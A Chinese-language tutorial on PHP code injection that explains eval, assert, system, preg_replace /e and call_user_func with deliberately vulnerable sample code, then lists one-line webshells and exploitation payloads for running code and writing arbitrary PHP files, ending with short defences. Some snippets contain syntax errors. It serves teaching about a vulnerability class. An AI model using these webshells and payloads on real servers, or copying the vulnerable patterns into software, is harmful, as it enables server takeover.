PHP代碼注入的原理和解析
PHP代碼注入靠的是RCE,即遠程代碼執行。
指應用程序過濾不嚴,hacker可以將代碼注入到服務器進行遠程的執行。
危害和SSRF相似,通過這個漏洞可以操控服務器的動作。
最典型的就是一句話木馬。
PHP代碼漏洞注入的兩個要素:
- 程序中含有可執行的PHP代碼函數
- 傳入第一點的參數,客戶端可控,直接修改或者影響
下面將對PHP相關函數和語句以及注入方法進行解釋
eval()
eval()函數在很多語言中都有,比如Python、PHP。
eval函數的作用是將字符串作為PHP語句來執行
例如
<?php
if(isset($_GET['code']){
@$code=$_GET['code']; //使用@表示不顯示錯誤
eval($code);
}else{
echo "please submit code!"
}
?>
當然也可以不適用$_GET,使用其他預定義超全局數組變量都可以。
如果此時我在里面輸入:
http://www.abc.com/code?=phpinfo();
就可以彈出php的信息。
assert()函數
這個函數和eval()函數一樣,同樣可以將函數里面的內容作為PHP代碼執行:
但是eval()是語句結構,assert()函數的功能更加全面。
如果在代碼注入的時候發現eval() 沒有用的話可以嘗試替換位assert()函數。
<?php
if(isset($_GET['code']){
$code=$_GET['code'];
assert($code);
}else{
echo "please submit code!"
}
?>
其用法和eval()一致。
system()函數
傳遞的字符串command作為系統命令執行,並且將指返回給第二個參數return_var
system(string $command, int &$return_var): string
所以,綜上所述,一句話木馬都可以表示為:
<?php @eval($_GET["sky"]);?>
<?php @assert($_GET["sky"]);?>
<?php @system($_GET["sky"]);?>
preg_replace()函數
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 進行替換。
參數說明:
-
$pattern: 要搜索的模式,可以是字符串或一個字符串數組。
-
$replacement: 用於替換的字符串或字符串數組。
-
$subject: 要搜索替換的目標字符串或字符串數組。
-
$limit: 可選,對於每個模式用於每個 subject 字符串的最大可替換次數。 默認是-1(無限制)。
-
$count: 可選,為替換執行的次數。
這個有什么注入點?當/e 修正符使 preg_replace() 將 replacement 參數當作 PHP 代碼來執行。
比如:
$template = preg_replace("/[\n\r\t]*\{block\/(\d+?)\}[\n\r\t]*/ie", "\$this->blocktags('\\1')", $template);
call_user_func()函數
把第一個參數作為回調函數調用。
<?php
if(isset($_GET['fun'])){
$fun=$_GET['fun'];
$para=$_GET['para'];
call_user_func($fun,$para);
}
?>
如果我們傳遞參數:
http://www.abc.com/?fun=assert¶=phpinfo()
意思就是,fun需要書寫一個真實的函數,而para這是這個函數的參數,這樣傳參也可以被執行。
此時這里fun不能使用eval,因為eval是語句結構,建議使用assert。
$a($b)函數
這是動態函數的寫法,和call_user_func()參數的傳遞有些類似
if(isset()){
$a=$_GET['a'];
$b=$_GET['b'];
$a($b);
}
常見的PHP代碼注入還有這些:
eval(),,assert(), system(),preg_replace(), create_function, call_user_func, call_user_func_array,array_map(),反引號,ob_start(),exec(),shell_exec(),passthru(),escapeshellcmd(),popen(),proc_open(),pcntl_exec()
遇到了再查吧,我是記不住那么多
漏洞利用
下面列出簡單的漏洞利用方法:
- 一句話木馬:
?code=@eval($_POST['password']);
- 獲取文件當前絕對路徑:__FILE__是預定義常量,為文件的當前絕對路徑,用法:
?code=print(__FILE__);
- 寫文件:使用file_put_contents()函數。前提是要知道可寫目錄,可以用hackbar進行提交,例如:
?code=var_dump(file_put_contents($_POST['a'],$_POST['b']));
然后再hackbar使用post提交為:a=a.php&b=<?php phpinfo();?>
,然后就可以在當前目錄下創建一個a.php文件了
防御方法:
- 不要使用eval函數
- 如果使用一定要經過嚴格的過濾
- preg_replace放棄使用/e修飾符
- disable_functions=assert()